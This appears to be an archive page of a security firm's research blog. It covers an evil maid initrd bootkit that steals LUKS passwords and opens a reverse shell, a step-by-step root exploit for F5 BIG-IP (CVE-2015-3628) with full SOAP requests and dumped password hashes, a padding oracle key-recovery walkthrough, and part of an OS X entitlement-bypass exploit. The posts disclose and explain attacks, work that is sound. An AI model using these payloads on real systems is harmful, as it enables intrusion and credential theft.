Twitter
Monday
Jan252016

GDSCon 2016 - Wrapup

Thanks to all those who attended GDS’s inaugural GDSCon 2016 conference in London. We had a close to capacity crowd at 68 attendees!

To overview what was covered on the day:

  • Keynote: Letters from a broken fence line: Cyber lessons learned in Helmand province
  • Building security into the development lifecycle
  • A peek into what GDS Labs has been up to
  • Testing your defences (or are you testing what you think you are?)
  • Lessons from the Red Team trenches
  • Hybrid security assessments
  • Why using crypto is not Plug-and-Play
  • Fun with exploiting XML entity expansion

And not to be left out - thanks to the team running the lock picking village on the day.

The GDS events team will be going through all the great feedback to help make the next GDSCon event even better!

Wednesday
Dec232015

Introducing EvilAbigail

Tis the season to be jolly… or so they say; but it is also the season to be wary and vigilant. At GDS we were recently discussing cold boot attacks against full disk encryption on Linux systems – it didn’t take us long to agree it was feasible, but just how hard would it be and how practical is it to execute an attack? After a little searching we didn’t come across any pre existing tools so there was only one way forward…

The Attack

Evil maid attacks can be used to target any operating system. For this research we focused our attention on Linux with LUKS full disk encryption.

Traditionally, when a Linux distribution is installed with full disk encryption there is a small partition that remains unencrypted to enable the decryption and bootstrapping onto the encrypted drive. This partition will be mounted at /boot and contains the kernel and the initial ramdisk (initrd). While it would also be possible to attack the bootloader or the kernel we decided to focus on the initrd image.

The initrd is a minimal set of tools for decrypting and mounting the root filesystem, along with any other tasks required to get other mounts ready (e.g /proc, /dev). Once the initrd has finished its job, it performs a pivot_root, during which it removes itself as the root filesystem and launches the main init script on the new (real) root filesystem. A lot of trust is placed on initrd, however, it is conceptually trivial to modify the initrd to run malicious code. The exact method for performing this might vary between different distributions, but it remains relatively simple.

The initrd is traditionally a gzip compressed cpio image. This is the case for the Debian based systems we tested, whereas RedHat based distributions (Fedora, RHEL, CentOS) now use dracut and consist of an uncompressed cpio image with a gzip compressed cpio image appended. Debian based initrds use ash shell scripts to perform the setup, whereas dracut based installations use systemd and its associated configuration method.

To perform our specific attack we chose to implement an LD_PRELOAD based bootkit due to the ease of development, but the same theory can be applied to injecting a malicious kernel module or other persistent binary. Our main aim in using the LD_PRELOAD method is to inject a shared object into the first binary that is executed on the freshly decrypted root filesystem. This is usually /sbin/init and will have the PID of 1. To do this, the easiest method is to just modify the init script to export this environment variable so that it is set when the pivot_root occurs. Because the filesystem changes it is also necessary to copy the shared object to the new filesystem at an appropriate time (post decryption). This can be achieved with the following two lines inserted inside the initrd’s init script just before the root switch is executed:

cp /hack.so /${rootmnt}/hack.so
export LD_PRELOAD=/hack.so

This works because the real root filesystem is decrypted and mounted under the temporary root mount prior to the pivot and the rootmnt variable is populated with the location of the mountpoint. However, before this takes place it is necessary to remount the target filesystem as read write as by default it is read-only. In our case we patched the init script where it parses the kernel commandline so that whatever argument was provided, the root is mounted readwrite. An alternative to this could be to just add mount -o remount,rw /${rootmnt} to our list of injected commands.

This injection point does not exist on dracut based initrds however, as the init executable is a binary rather than a shell script. This creates three issues of which we must bypass all to achieve injection into pid 1.

The first issue relates to copying our binary into the decrypted root filesystem. This is the easiest of the three to bypass. To achieve this we added two ExecPre directives to the systemd service file responsible for pivoting the filesystem root. This is roughly equivalent to inserting commands just before the script executes switch-root as before. The first command remounts the root filesystem as read-write (as it is read-only by default), and the second performs the copy.

The second issue is with LD_PRELOAD. As we are not modifying a shell script, and we cannot pass environment variables to this process (as it is called by the kernel), it becomes tricky to load our shared object. The easiest way to bypass this is to move the init binary to a different location, and insert our own shell script in its place, which ends by executing the original binary. Only 2 lines are required, the first to export LD_PRELOAD, and the second is to execute the original systemd binary. Note that this injection is into the initrd’s pid 1, not the eventual root filesystems pid 1. The reason we obtain this injection point is to help us with issue three.

The third issue is that before calling the switch-root command, the systemd environment clears out all environment variables using the clearenv() function. As this function is part of the standard library, it is possible for us to override this function so the injected process calls our function rather than the original. Because we do not care about actually clearing out the environment variables, we do not do a very thorough job. Our version of the clearenv() function will remove all environment variables, and inject our LD_PRELOAD variable into the environment. As the clearenv() function is only called once in this process (the time we want to break it anyway), this modification will not cause any side effects.

These three patches, when combined, will result in our shared object being copied to the encrypted root filesystem, and LD_PRELOAD being injected into the eventual pid 1 in our target filesystem, as in our Debian based example. Note that these are not security features, just that the systemd command pipeline is more complex than that of a flat shell script.

With this level of access, it is also possible to exfiltrate the user’s password provided for decrypting the root filesystem. Note, this does not require any weaknesses in the encryption, but subverts the password input processing.

In the case of Debian initrds, the password is piped between the executable that asks the user for their password and the executable that decrypts and mounts the root filesystem. We can just inject our own script in process pipeline to save the password as well as passing it on.

As for systemd, it uses more complex inter-process communication via Unix domain sockets. Rather than attack this part of the process, we chose to attack the actual mounting of the filesystem. Once again this is a library function, in a dynamically loaded library, called inside the systemd binary so it is possible to hook the function. The function that decrypts the drive is called crypt_activate_by_passphrase. This function takes, among other arguments, the password as a char array. By hooking this function we are able to access the the password. In this case, we want to wrap the original function so we use dlsym to access the real function and call it ourselves. However, before doing this we also save the password for retrieval later.

To ‘save’ the password, we simply append it to the shared object we later copy into the root filesystem. We chose this method because we already know that the file exists and will be copied, whereas we do not necessarily have any other mounts that will persist. This method also decreases the number of files we touch on disk. To access the password we then read the password from the end of our own file (located by reading the LD_PRELOAD variable) and set it as the value of the PASSWORD environment variable in the context of our reverse shell, so (in the case of meterpreter) the ‘getenv PASSWORD’ command will retrieve the password used to decrypt the drive. In our development, our proof of concept .so simply ran a python meterpreter reverse shell, as python was available by default on all of our targets.

Mitigations

There are a number of methods that can be employed to mitigate these issues. However, even using these mitigations there is no way to protect an attacker with physical access and enough time from reflashing the BIOS/UEFI.

The first mitigation would be to keep the bootloader, kernel and initrd on an external usb drive which is booted from in lieu of a /boot partition. Whilst possibly the most secure option, it is also the most awkward for the user as they must remember to always pull the drive when leaving the laptop unattended, including safely unmounting the /boot partition, if not already unmounted. It will also make updates more awkward as it is necessary to have the usb key present to update the initrd/kernel.

Another option would be to completely disable booting off external media. This should remove the possibility for automated attacks, but in some cases, such as with Debian initrds which contain a full shell, it may still be possible to manually mount and modify the initrd from inside the initrd itself. This could be done via an automated keyboard style device, which could achieve the same end without the requirement to boot off external media.

A slightly lesser option would be to enable the BIOS boot password. This should disable anyone from booting to anything without the BIOS password.

These last two options do not protect against the case in which the attacker has enough time to pull the drive and use their own laptop/device to mount the hard drive and modify it directly.

The final, and most secure option would be to extend SecureBoot into the initrd. As it stands, SecureBoot is able to verify from the bootloader to the kernel inclusive, but it stops short of the initrd. If this can be extended to also verify a signed initrd then it would be difficult to modify anything on the /boot partition without being detected. As above, there will still be a potential for attack if the attacker is able to flash the BIOS/UEFI to disable secureboot.

The best way to protect yourself from these kinds of attack would be to never allow your devices to fall into the hands of attackers. Our proof of concept attack was able to backdoor all targets in just over two minutes, but in a real world attack it may be possible to engineer a target specific payload that could take only a few seconds to run, if it only required copying a single file. If an attacker has physical access and just a little time we’ve demonstrated that if they come prepared this attack is more than feasible, so remember to keep your laptop safe this Christmas.

The code and more detail on our tool is available on our github: https://github.com/GDSSecurity/EvilAbigail

Wednesday
Nov252015

Exploiting F5 iCall::Script Privilege Escalation (CVE-2015-3628)

Earlier this year GDS discovered a vulnerability in the F5 BIG-IP LTM product, that allows a user with limited access to the system to escalate his privileges and obtain highly privileged remote command execution on the device. This vulnerability was described in a previous post.

In this post we’ll show how to manually exploit the vulnerability. A Metasploit module to automate the process is also available - see https://www.rapid7.com/db/modules/exploit/linux/http/f5_icall_cmd for details. 

Overview:

The issue was identified in the SOAP interface exposed by the devices at https://<host>/iControl/iControlPortal.cgi (a similar issue, although on a completely different function, was previously found in this same interface -  see CVE-2014-2928 for details). An attacker with valid credentials for the web interface and the “Resource Administrator” role can abuse the iCall SOAP functions to run arbitrary commands on the device with root privileges.

Using the iCall interface it’s possible to create and run management scripts, these are executed by a Tcl interpreter effectively running with root privileges.

See the F5 Security Advisory for a list of vulnerable versions.

Proof-Of-Concept:

The following steps demonstrate the attack by retrieving the “/etc/shadow” file, containing all password hashes from the device. However, it is possible to obtain a root command shell on the device using the same method.

For purpose of demonstration a user named “test” with the “Resource Administrator” role and password “default” has been created on the device. This user was defined without any shell access. 

The following HTTP POST request will create an iCall script on the device, the malicious payload exec /bin/sh -c “id>/var/local/ucs/file.ucs;cat /etc/shadow >>/var/local/ucs/file.ucs;chmod a+r /var/local/ucs/file.ucs” is highlighted in red.

The executed script does not return any output, however, the content of the shadow password file will be copied into a directory used to store configuration backups for the device. From here it is be possible to retrieve it using the web interface, as will be deomonstrated later. We’ll include also in the file the output from the “id” command, to show that the commands are executed as root.

Request:

POST /iControl/iControlPortal.cgi HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:iControl:iCall/Script
Host: 10.0.0.249
Content-Length: 866
Authorization: Basic dGVzdDpkZWZhdWx0=


<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:scr="urn:iControl:iCall/Script" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<scr:create soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"><item>exploit</item></scripts>
<definitions xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"><item>exec /bin/sh -c "id>/var/local/ucs/file.ucs;cat /etc/shadow >>/var/local/ucs/file.ucs;chmod a+r /var/local/ucs/file.ucs" </item></definitions>
</scr:create>
</soapenv:Body>
</soapenv:Envelope>

Response:

HTTP/1.1 200 OK
Date: Fri, 26 Jun 2015 14:30:32 GMT
Server: Apache
SOAPServer: EasySoap++/0.6
X-Frame-Options: SAMEORIGIN
Content-Type: text/xml; charset="UTF-8"
Content-Length: 428

<E:Envelope
xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
xmlns:y="http://www.w3.org/2001/XMLSchema"
xmlns:iControl="urn:iControl"
E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:createResponse
xmlns:m="urn:iControl:iCall/Script"></m:createResponse>
</E:Body>
</E:Envelope>

To trigger execution of the script the iCall interface provides different types of handlers; in this case a PeriodicHandler will be used with the following request: 

POST /iControl/iControlPortal.cgi HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:iControl:iCall/PeriodicHandler
Host: 10.0.0.249
Content-Length: 923
Authorization: Basic dGVzdDpkZWZhdWx0=

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:per="urn:iControl:iCall/PeriodicHandler" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<per:create soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<handlers xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
<item>exploitHandler</item>
</handlers>
<scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
<item>/Common/exploit</item>
</scripts>
<intervals xsi:type="urn:Common.ULongSequence" soapenc:arrayType="xsd:long[]" xmlns:urn="urn:iControl">
<item>30</item>
</intervals>
</per:create>
</soapenv:Body>
</soapenv:Envelope>

Response:

HTTP/1.1 200 OK
Date: Fri, 26 Jun 2015 14:36:30 GMT
Server: Apache
Set-Cookie: BIGIPAuthCookie=E41B1D179BD9DBF88AF1FF43F2390E5ED6BD6199; path=/; Secure;
Set-Cookie: BIGIPAuthUsernameCookie=test; path=/; Secure;
SOAPServer: EasySoap++/0.6
X-Frame-Options: SAMEORIGIN
Content-Type: text/xml; charset="UTF-8"
Content-Length: 428

<E:Envelope
xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
xmlns:y="http://www.w3.org/2001/XMLSchema"
xmlns:iControl="urn:iControl"
E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:createResponse
xmlns:m="urn:iControl:iCall/PeriodicHandler"></m:createResponse>
</E:Body>
</E:Envelope>

From this point the script will be executed every 30 seconds by the generated handler.

The output file can be retrieved by logging into the device and navigating to System->Archives, as shown in the following screenshots:

 

f5-shot1.png

 

f5-shot2.png

The downloaded file contains the output of the commands, as expected:

$ cat file.ucs
uid=0(root) gid=0(root) context=system_u:system_r:init_t

root:$1$8kIUIrbb$b7FOEXTrKOiOgJ1w0T78F/:16496:0:99999:7:::
bin:*:16153::::::
daemon:*:16153::::::
adm:*:16153::::::
lp:*:16153::::::
mail:*:16153::::::
uucp:*:16153::::::
operator:*:16153::::::
nobody:*:16153::::::
tmshnobody:*:16153::::::
admin:$1$VFlFWR0F$iIy0wXSbTl4EpmMYPnX1A.:16496:0:99999:7:::
apache:!!:16153::::::
mysql:!!:16153::::::
vcsa:!!:16153::::::
oprofile:!!:16153::::::
sshd:!!:16153::::::
syscheck:!!:16153::::::
rpc:!!:16153::::::
f5_remoteuser:!!:16153::::::
pcap:!!:16153::::::
tomcat:!!:16153::::::
ntp:!!:16153::::::
named:!!:16153::::::
test:$1$SO17paaX$hNC27dZsBM9l3kSFuY/h9.:16500:0:99999:7:::

Remediation:

Apply vendor patches. If this is not feasible, review configuration for any accounts in the Resource Administrator role. Update the configuration to use provide the least privilege necessary while acknowledging the Resource Administrators have unconstrained privileges patches for this issue are applied.

Disclosure Timeline:

2015/04/07 - Vulnerability reported to the F5 Security Response Team.
2015/04/27 - F5 confirm vulnerability and affected versions.
2015/09/05 - F5 release version 12.0.0 which is not affected by this vulnerability.
2015/09/22 - F5 release 11.5.3 HF2 which resolves this issue.
2015/10/30 - F5 release 11.6.0 HF6 which resolves this issue.
2015/11/19 - Metasploit modue released.

Monday
Oct262015

Exploiting Padding Oracle to Gain Encryption Keys

I wanted to share some practical tricks on exploiting a padding oracle vulnerability. This type of vulnerability allows an attacker to decrypt ciphertexts and encrypt plaintexts. More information on what the padding oracle attack is and how it works can be found in a previous blog post by Brian Holyfield.

The example app used for this blog post has additional flaws that allow recovery of the encryption key. We will use padbuster to run a padding oracle attack and see how the python-paddingoracle library can be used to create a custom exploit tool. You can find the vulnerable example app on GitHub.

The application decrypts a request parameter named ‘cipher’.

# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6

decrypted: ApplicationUsername=user&Password=sesame

We know that AES-128 with PKCS#5 padding and the same static password for both the encryption key and initialisation vector are used to encrypt and decrypt this value. There is no HMAC or other message integrity check.

Simple padding oracle scenario

The keywords PKCS#5 and no MAC indicate that the application might be vulnerable to a padding oracle attack. By flipping bits in the first block we can verify that there are no syntax checks performed on the decrypted data. And we can see that the app happily processes the garbage data in the first block:

 

# curl http://127.0.0.1:5000/echo?cipher=ff4b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6

decrypted: �+�]7N�d�����N�me=user&Password=sesame

The next step is to check how the application reacts to incorrect padding. We can do this by flipping bits in the last block. It appears that the application returns ‘decryption error’ when the padding is incorrect.

# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ff

decryption error

Now that we know that the application is vulnerable we can run padbuster to exploit it. I highly recommend reading Brian’s padbuster blog post and looking at the help output, but for convenience you can find the padbuster synopsis below:

padbuster URL EncryptedSample BlockSize [options]


In this scenario running padbuster is straightforward: The block size is 16 (16 bytes = 128 bits) and the only additional switch we need for now is -encoding 1 (lower case HEX).

# padbuster "http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1

+-------------------------------------------+

| PadBuster - v0.3.3                        |

| Brian Holyfield - Gotham Digital Science  |

| [email protected]                      |

+-------------------------------------------+

INFO: The original request returned the following

[+] Status: 200

[+] Location: N/A

[+] Content Length: 51

INFO: Starting PadBuster Decrypt Mode

*** Starting Block 1 of 2 ***

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------

ID#    Freq    Status    Length    Location

-------------------------------------------------------

1         1       200        42        N/A

2 **    255       200        16        N/A

-------------------------------------------------------

Enter an ID that matches the error condition

NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (24/256) [Byte 16]

[+] Success: (165/256) [Byte 15]

[snip]

Block 1 Results:

[+] Cipher Text (HEX): c59ca16e1f3645ef53cc6a4d9d87308e

[+] Intermediate Bytes (HEX): 2926e03c56d32edd338ffa923df059e9

[+] Plain Text: ame=user&Passwor

*** Starting Block 2 of 2 ***

[snip]

-------------------------------------------------------

** Finished ***

[+] Decrypted value (ASCII): ame=user&Password=sesame

[snip]


Note that it was not possible possible to recover the first block. Looking at the block diagram for CBC decryption below helps to understand why. By leveraging the padding oracle it would be possible to obtain the intermediate value after decrypting the first block (-noiv option in padbuster). However, we don’t know the IV to calculate the plaintext for the first block.

Attentive readers might have realised already that knowing the plaintext allows us to calculate the IV, which is used as the encryption key. This is explained in more detail further down.

 To save time we could also specify the error string for invalid padding:

-error “decryption error”

A more complicated example

Now let’s look at a slightly more complicated scenario: The application does not return a dedicated error message for incorrect padding. Instead, the application parses the fields in the decrypted data and returns an error message if a required field is missing. In this case the required fields are ‘ApplicationUsername’ and ‘Password’.

Here is an example for a successful request: The ‘cipher’ parameter decrypts successfully and contains all required fields. The application responds with the decrypted value and all parsed fields.

# curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6

decrypted: ApplicationUsername=user&Password=sesame

parsed: {'Password': ['sesame'], 'ApplicationUsername': ['user']}

If we send a request that only contains a ‘Password’ field the application responds with ‘ApplicationUsername missing’.

# curl http://127.0.0.1:5000/echo?cipher=38d057b13b8aef21dbf9b43b66a6d89a

decrypted: Password=sesame

# curl http://127.0.0.1:5000/check?cipher=38d057b13b8aef21dbf9b43b66a6d89a

ApplicationUsername missing

In the case where the crypt value only contains an ‘ApplicationUsername’ field the application responds with ‘Password missing’.

# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369b309efe9c9fb71ea283dd42e445cc7b54

decrypted: ApplicationUsername=user

# curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b309efe9c9fb71ea283dd42e445cc7b54

Password missing

When tampering with the last block the padding becomes invalid. As a result the application is not able to decrypt the ‘cipher’ parameter and returns ‘ApplicationUsername missing’.

# curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ff

ApplicationUsername missing

Unfortunately, launching padbuster with minimal options fails: When it attempts to brute force the first block it always encounters the same error message (ApplicationUsername missing).

# padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1  

[snip]

ERROR: All of the responses were identical.

Double check the Block Size and try again.

But we can still leverage the order the application checks for the fields: It also returns ‘ApplicationUsername missing’ if the padding is invalid. We only need to prepend encrypted data that contains the ‘ApplicationUsername’ field: If the padding is correct then we get a different response. This way we can decrypt all but the first block.

In the example below the first two blocks of the ciphertext are prepended when performing the padding oracle attack. This is because the ‘ApplicationUsername’ field spans over two blocks (see Appendix).

# padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e"

+-------------------------------------------+

| PadBuster - v0.3.3                        |

| Brian Holyfield - Gotham Digital Science  |

| [email protected]                      |

+-------------------------------------------+

INFO: The original request returned the following

[+] Status: 200

[+] Location: N/A

[+] Content Length: 117

INFO: Starting PadBuster Decrypt Mode

*** Starting Block 1 of 2 ***

[snip]

-------------------------------------------------------

** Finished ***

[+] Decrypted value (ASCII): ame=user&Password=sesame

[snip]

Encrypt

We can also encrypt arbitrary content (Please refer to the original padbuster blog post on how this works behind the scenes). The only restriction is that it is not possible to control the first block. This is due to the static IV being used. The application would still accept the resulting ciphertext if we terminate the uncontrollable data of the first block with ‘=bla&’. Note that the crafted ciphertext does not have to have the same length as the original one.

# padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -plaintext "=bla&ApplicationUsername=admin&Password=admin"

[snip]

[+] Encrypted value is: 753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000

-------------------------------------------------------

# curl http://127.0.0.1:5000/check?cipher=753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000

decrypted: ��_c�I�B�C���=bla&ApplicationUsername=admin&Password=admin

parsed: {'\xf7\xc1_c\x9e\x1cI\x9aB\xccC\x10\xac\x07\x90\x97': ['bla'], 'Password': ['admin'], 'ApplicationUsername': ['admin']}

Obtaining the key

Being able to decrypt and craft the ‘cipher’ parameter would be bad enough, but setting the IV to the encryption key introduces another vulnerability: The IV (and therefore the encryption key) is the plain text of the first block XORed with the intermediate value from decrypting the first block (see block diagram below).

We can assume that an attacker could guess the plain text based on the specification, and the decrypted part from the padding oracle attack or messages displayed by the application.

 

Using padbuster’s -noiv switch we are able to get the intermediate value after decrypting the first block:

# padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -noiv             

[snip]

Block 1 Results:

[+] Cipher Text (HEX): 484b850123a04baf15df9be14e87369b

[+] Intermediate Bytes (HEX): 7141425f5d56574351562f1730213728

[snip]


Once we have obtained the intermediate value we can XOR it with the plaintext to obtain the encryption key:

 

0x4170706c69636174696f6e557365726e (plaintext ‘ApplicationUsern’)
XOR
0x7141425f5d56574351562f1730213728 (intermediate value)
=
0x30313233343536373839414243444546 (key ‘0123456789ABCDEF’)

 

Custom Python script

The python-paddingoracle library allows us to create a custom exploit tool for situations where padbuster is not flexible enough. For example, when the target application uses CSRF tokens or when testing web services.

Two Python scripts that exploit our example web application can be found on GitHub. The first script ‘http-simple.py’ is targeted for the straightforward scenario. Exploiting the more advanced scenario, which requires a prefixed ciphertext has been implemented in ‘http-advanced.py’. This script also demonstrates how to encrypt a plaintext and calculate the key.

A few additional notes

The Bit flipper payload in the Intruder module of the Burp Proxy is great to see how an application handles encrypted values. You should get suspicious if it accepts some tampered payloads or returns different error messages. This would usually happen if there is no MAC.

Encryption without MAC should be considered a finding regardless of any padding oracle. Because of the way CBC works we can always tamper with encrypted values.

Prepending another ciphertext in padbuster can come in handy in other situations as well: The application could have an id within the encrypted fields to detect tampering (similar to a nonce). By prepending a mangled block we can stop the application from recognising the id for the current cipher field.

For the sake of convenience the sample app also has a feature to encrypt arbitrary data:

# curl http://127.0.0.1:5000/encrypt?plain=ApplicationUsername%3Duser%26Password%3Dsesame

crypted: 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6

Appendix: Ciphertext blocks

Block 1:
484b850123a04baf15df9be14e87369b
ApplicationUsern

Block 2:
c59ca16e1f3645ef53cc6a4d9d87308e
ame=user&Passwor

Block 3:
d2382fb0a54f3a2954bfebe0a04dd4d6
d=sesame[padding]

Tuesday
Oct132015

Reverse shell over SMS (Exploiting CVE-2015-5897)

In our previous post, we looked at a bug that allowed malware running on OS X to make calls on a user's iPhone without their knowledge. Apple released a patch to fix this bug in OS X 10.10.5 by adding a check for an entitlement that could only be granted by Apple. This was easily bypassed with root access by injecting code to disable the entitlement check. In this post, we'll take a look at another bug that allowed bypassing the entitlement check without root.

For those that'd like to skip directly to the exploit code, it's available on our Github repo in the SMShell directory.

Our goal is to somehow get code running inside FaceTime (since it has the entitlement) or callservicesd (since it checks for the entitlement). callservicesd is the more interesting target, since it's got entitlements of its own that may be useful later. It turns out we can cause callservicesd to load code we control, thanks to Address Book plugins and a little help from the OS X sandbox.

At a high level, it works like this:
  • callservicesd uses the AddressBook framework
  • The AddressBook framework contains a method 'debugPluginPaths' which uses the environment variable AB_PLUGIN_PATH to add paths that will be searched for plugins.
  • It's normally not possible to use this variable to "hijack" existing plugins, as the "official" plugins in /System/Library/Address Book Plug-Ins/ are processed last, overwriting any user supplied plugins in AB_PLUGIN_PATH.
  • By using sandbox-exec to launch callservicesd with a profile that blocks access to a specific plugin in /System/Library/Address Book Plug-Ins/, it is possible to work around this limitation and supply a replacement user controlled plugin which will run inside the address space of callservicesd.
  • Once this is done, the 'valueForEntitlement:' method is swizzled and replaced with a method that simply returns 'true'.
  • This bypasses the check for the com.apple.telephonyservices.callservicesd entitlement, allowing the original exploit for CVE-2015-3785 to work again.
Walkthrough
If we attach lldb to callservicesd and look at 'image list', there are a few things that look interesting:
[245] 6951F277-550F-3E43-B116-F45F833D0310 0x0000000106fea000 /System/Library/Address Book Plug-Ins/LocalSource.sourcebundle/Contents/MacOS/LocalSource
[246] 2B7D94E1-8B6F-382C-BA78-7928F09C309A 0x0000000106fef000 /System/Library/Address Book Plug-Ins/DirectoryServices.sourcebundle/Contents/MacOS/DirectoryServices
[247] 1DDCFA21-F20A-32BA-91C4-41354D7DA44D 0x000000010999b000 /System/Library/Address Book Plug-Ins/POIPlugin.sourcebundle/Contents/MacOS/POIPlugin
If callservicesd is loading Address Book plugins, maybe it'll also load user plugins that are placed in ~/Library/Address Book Plug-Ins? Unfortunately it's not that simple. callservicesd won't load anything placed in that directory, even copies of the plugins from /System/Library/Address Book Plug-Ins/. In addition, it's not loading everything in /System/Library/Address Book Plug-Ins/ - only those 3 plugins. A bit of investigation shows that on startup, the AddressBook framework loads plugins that implement certain classes as indicated by the NSPrincipalClass key in the plugin's Info.plist. The plugins correspond to different type of account "sources", so presumably if one had an Exchange or CardDAV account configured on the system those plugins would load as well.

This means that unless a non-root user can somehow get a plugin into that directory that implements one of these classes, this seems to be a dead end. However, a closer look at the AddressBook framework reveals another avenue that may do exactly what we want.

While looking for anything plugin related in AddressBook.framework, the following string in the binary immediately jumps out:

AB_PLUGIN_PATH

Could it really be that easy? Is this an environment variable that controls where plugins are loaded from? Yes and no. AddressBook won't blindly load plugins placed into AB_PLUGIN_PATH, but what if we try a plugin with an NSPrincipalClass of a system plugin we know will be loaded? We'll use 'ABPointOfInterestSource', which is currently provided by /System/Library/Address Book Plug-Ins/POIPlugin.sourcebundle/.
$ tail -4 /tmp/injectab.sourcebundle/Contents/Info.plist
    <key>NSPrincipalClass</key>
    <string>ABPointOfInterestSource</string>
</dict>
</plist>
$ AB_PLUGIN_PATH=/tmp lldb /System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd
(lldb) target create “/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd”
Current executable set to ‘/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd’ (x86_64).
(lldb) r
Process 70176 launched: ‘/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd’ (x86_64)
2015-09-07 18:00:25.054 callservicesd[70176:19289423] Failed to get the bundle id
Process 70176 stopped
* thread #1: tid = 0x126554f, 0x00007fff8f3494de libsystem_kernel.dylib`mach_msg_trap + 10, queue = ‘com.apple.main-thread’, stop reason = signal SIGSTOP
    frame #0: 0x00007fff8f3494de libsystem_kernel.dylib`mach_msg_trap + 10
libsystem_kernel.dylib`mach_msg_trap:
->  0x7fff8f3494de <+10>: retq
    0x7fff8f3494df <+11>: nop

libsystem_kernel.dylib`mach_msg_overwrite_trap:
    0x7fff8f3494e0 <+0>:  movq   %rcx, %r10
    0x7fff8f3494e3 <+3>:  movl   $0x1000020, %eax
(lldb) image list injectab
error: no modules found that match ‘injectab’
(lldb) image list POIPlugin
[  0] 1DDCFA21-F20A-32BA-91C4-41354D7DA44D 0x00000001005e0000 /System/Library/Address Book Plug-Ins/POIPlugin.sourcebundle/Contents/MacOS/POIPlugin
(lldb)
